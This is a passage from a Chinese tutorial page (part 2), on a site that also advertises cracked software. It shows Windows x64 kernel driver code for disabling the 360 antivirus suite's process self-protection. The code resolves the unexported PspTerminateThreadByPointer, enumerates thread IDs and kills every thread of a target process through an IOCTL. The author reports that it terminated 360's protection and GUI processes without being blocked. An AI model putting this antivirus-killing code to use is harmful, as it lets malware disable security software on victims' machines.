免费教程_免费网赚教程_破解版软件-寂涯网络学习基地

当前位置: 主页 > 系统综合 > 各类编程 > 完全解除win64的360进程自我保护(2)

完全解除win64的360进程自我保护(2)

时间:2011-12-24 17:51来源:未知 整理:寂涯网络 点击:


                AddressOfPspTTBP=(ULONG64)callcode + 5 + AddressOfPsTST+i+1;
            }  

        }
    }
   
PspTerminateThreadByPointer=(PSPTERMINATETHREADBYPOINTER)AddressOfPspTTBP;
}

接下来就是调用PspTerminateThreadByPointer干掉制定进程的所有线程即可。我的办
法是用 PsLookupThreadByThreadId查询 0x4至 0x40000之间所有能被4整除的数字,如果
查询成功,就使用IoThreadToProcess得到此线程所属的进程。如果它是属于要干掉的进程,
就调用 PspTerminateThreadByPointer结束之,否则不做处理。另外要注意的是,但凡
Lookup,必需 Dereference,否则在某些时候会造成蓝屏的后果。代码如下:

PETHREAD Thread=NULL;
PEPROCESS tProcess=NULL;
NTSTATUS status=0;
for(i=4;i<0x40000;i+=4)
{
    status=PsLookupThreadByThreadId((HANDLE)i, &Thread);
    if(NT_SUCCESS(status))
    {
        tProcess=IoThreadToProcess(Thread);
        if(tProcess==Process)
            PspTerminateThreadByPointer(Thread,0,1);
        ObDereferenceObject(Thread);
    }
}

驱动部分基本写好了,最后在分发函数里获得PID,并通过 PID 得到EPROCESS再调用
HwlTerminateProcess64即可(以上两段代码是为了讲解方便才分开的,实际上它们在一个
函数里):

case IOCTL_PsKillProcess64:
{
    __try
    {
        memcpy(&idTarget,pIoBuffer,sizeof(idTarget));
        DbgPrint("[x64Drv] PID: %ld",idTarget);
        status=PsLookupProcessByProcessId((HANDLE)idTarget, &epTarget);
        if(!NT_SUCCESS(status))
        {
            DbgPrint("[x64Drv] Cannot get target! Status: %x.",status);
            break;
        }
        else
        {
            DbgPrint("[x64Drv] Get target OK! EPROCESS: %llx",
(ULONG64)epTarget);
            HwlTerminateProcess64(epTarget);
            ObDereferenceObject(epTarget);
        }
    }
    __except(EXCEPTION_EXECUTE_HANDLER)
    {
        ;

    }
    break;
}

把驱动和应用程序编译后,放在安装了360 8.0正式版的虚拟机上(要打开测试签名模
式)。给驱动添加测试签名后,加载驱动www.jybase.net。在加载驱动时没有受到360 的任何阻拦,即使已
经开启了所谓的“驱动防火墙”。输入ZhuDongFangYu.exe的 PID,大概过了20 秒,
ZhuDongFangYu.exe就退出了。在测试例如360safe.exe之类的GUI进程,也可以结束(这

个就很快,不到1 秒),不过把 360safe.exe结束时,会出现一个错误提示框(顺便讽刺一
下 360骗人,在弹出这个对话框时,360safe.exe已经完蛋了,而不是提示上说的“即将关
闭”)

360safe程序出错界面

这个提示框由360的 DumpUper.exe弹出:

窗体侦探界面

如果先结束了360tray.exe再结束 360safe.exe,就不会弹出这个提示框了。不过如果
结束 360tray.exe,会出现一个有趣的现象。就是在大约30秒内,你打开任何GUI程序都
无法出现界面,即使这个GUI 程序的进程已经创建。在测试7.7正式版时,我估计 360 的程
序员貌似忘记注释掉了一段DbgPrint,发现有新进程创建时,DebugView会输出“某程序创

本页地址 http://www.jybase.net/biancheng/20111224729.html

百度搜索更多

谷歌搜索更多

顶一下
(0)
0%
踩一下
(0)
0%
------分隔线----------------------------

评价:
昵称: 验证码:点击我更换图片
推荐内容
赞助商
赞助商


关于本站免责声明视频更新google百度地图视频地图RRS订阅

如有什么问题请在本站留言,或发邮件到 hxt167#foxmail.com